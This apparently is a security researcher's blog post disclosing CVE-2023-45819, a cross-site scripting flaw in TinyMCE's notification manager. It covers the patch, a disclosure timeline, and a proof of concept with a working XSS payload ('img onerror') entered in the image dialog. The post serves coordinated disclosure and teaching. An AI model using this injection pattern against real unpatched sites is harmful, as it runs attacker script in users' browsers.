Not long ago, I discovered a cross-site scripting vulnerability affecting versions < 6.4.2
and <5.10.8
1 of TinyMCE.
Initially, I thought it was just a recreation of CVE-2022-23494. However, after further research, I concluded that it was a similar but separate issue (now classified as CVE-2023-45819).
TinyMCE
TinyMCE is a popular open-source WYSIWYG (What You See Is What You Get) rich-text editor used by more than 1.5 million developers2. It provides a user-friendly interface for creating and editing rich-text content on websites and web applications. It is highly customizable and supports a wide range of plugins.
Problem & Patch
The vulnerability exploits the fact that the notification manager API, which handles the creation of TinyMCE’s notifications, did not perform any sanitization or validation of user-supplied input. It was instead directly being inserted into the DOM:
|
|
In the updated and patched versions of TinyMCE, the vulnerability has been mitigated by using DOMPurify to sanitize and remove any malicious elements or attributes in the user-supplied input before it is inserted into the DOM. Lines 4-7 in the above code snippet have been replaced with the following:
dom: DomFactory.fromHtml(`<p>${HtmlSanitizer.sanitizeHtmlString(detail.translationProvider(detail.text))}</p>`),
For more context, see the entire patch/commit here and the GH advisory here.
Proof of Concept
To replicate the vulnerability in one of the affected versions, follow these steps (this example is specific to version 5.10.7):
- Download and unzip a local copy of TinyMCE
wget https://download.tiny.cloud/tinymce/community/tinymce_5.10.7_dev.zip
unzip tinymce_5.10.7_dev.zip
- Create a file named
poc.html
and copy & paste the following into it3:
<!DOCTYPE html>
<html>
<head>
<script src="tinymce/js/tinymce/tinymce.min.js"></script>
<script type="text/javascript">
tinymce.init({
selector: 'textarea#file-picker',
plugins: 'image code',
toolbar: 'undo redo | link image | code',
image_title: true,
automatic_uploads: true,
file_picker_types: 'image',
file_picker_callback: function (cb, value, meta) {
var input = document.createElement('input');
input.setAttribute('type', 'file');
input.setAttribute('accept', 'image/*');
input.onchange = function () {
var file = this.files[0];
var reader = new FileReader();
reader.onload = function () {
var id = 'blobid' + (new Date()).getTime();
var blobCache = tinymce.activeEditor.editorUpload.blobCache;
var base64 = reader.result.split(',')[1];
var blobInfo = blobCache.create(id, file, base64);
blobCache.add(blobInfo);
cb(blobInfo.blobUri(), { title: file.name });
};
reader.readAsDataURL(file);
};
input.click();
},
content_style: 'body { font-family:Helvetica,Arial,sans-serif; font-size:14px }'
});
</script>
</head>
<body>
<textarea id="file-picker"></textarea>
</body>
</html>
Serve
poc.html
in a browserClick on the “Insert/edit image” button
In “Source”, enter the following:
blob:<img src=x onerror=alert(tinymce.majorVersion+'.'+tinymce.minorVersion)>
- Click “Save” and observe that an alert box appears, indicating that the JavaScript was executed in the browser
Disclosure Timeline
- 2023-10-07 - Vulnerability reported
- 2023-10-11 - Vulnerability confirmed
- 2023-10-19 - Patch released
- 2023-10-20 - CVE introduced
Since the release of
6.4.2
, notification errors are no longer displayed when the editor fails to retrieve blob image URIs4. As a result, the PoC I provide in this blog post is specific to versions< 6.4.2
and< 5.10.8
. However, the vulnerability as a whole affects versions>= 6.0.0 < 6.7.1
and< 5.10.8
. ↩︎https://www.tiny.cloud/blog/tinymce-free-wysiwyg-html-editor ↩︎
Sample code taken from TinyMCE Docs ↩︎
https://www.tiny.cloud/docs/tinymce/6/changelog/#fixed-8. ↩︎